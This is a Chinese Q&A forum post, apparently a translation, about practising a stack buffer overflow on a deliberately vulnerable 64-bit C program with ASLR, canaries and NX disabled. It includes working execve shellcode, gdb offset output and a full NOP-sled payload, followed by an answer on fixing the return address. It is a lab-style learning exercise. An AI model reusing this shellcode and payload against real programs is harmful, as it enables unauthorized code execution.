(我知道,答案已经太多,但需要帮助)
据我所知,缓冲区溢出可以通过ASLR,内存金丝雀或不可执行的堆栈来保护。因此,出于测试目的,我用以下sysctl -w kernel.randomize_va_space=0
禁用了ASLR,并用以下-fno-stack-protector
禁用了程序canaries,并使堆栈执行了以下-z execstack
。
现在确认这些是: ASLR
root@kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
可执行堆栈:readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
其他可能有用的信息:
root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
CPU架构是低端字节序:
root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
程序:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
编译:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Shellcode:是25个字节
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
shellcode可以工作吗? 是,是的,编译它会生成一个shell:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
我如何利用它?
好吧,我需要526个字节来覆盖RIP
:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
堆栈起始地址: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
RBP地址:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
现在为了利用堆栈,我们从526减去6将替换为返回地址,并减去25作为shellcode,因此总计526-6-25=495
最终利用:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
我犯了什么错误?
答案 0 :(得分:0)
1)我有同样的问题。当堆栈上的返回地址为
时,就会发生这种情况通过shellcode修改并且替换的地址不属于有效
地址。
收到此错误后,输入x / 400xw $ rsp,选择有效地址并更正
填充,来自堆栈。
不客气。
0x00007fffffffdf73不能为有效地址,因为您处于64位模式
此地址未对齐8个字节。
此地址无字。
例如,
0x7fffffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
如果您尝试访问0x7fffffffdf73,则将检索第一个单词(从左侧开始),并从右侧检索第3个字节
(因为小端,MSB在右边)。
因此,您必须选择一个地址,例如0x7fffffffdf70或0x7fffffffdf74或
0x7fffffffdf78等...(地址的4的最后一位)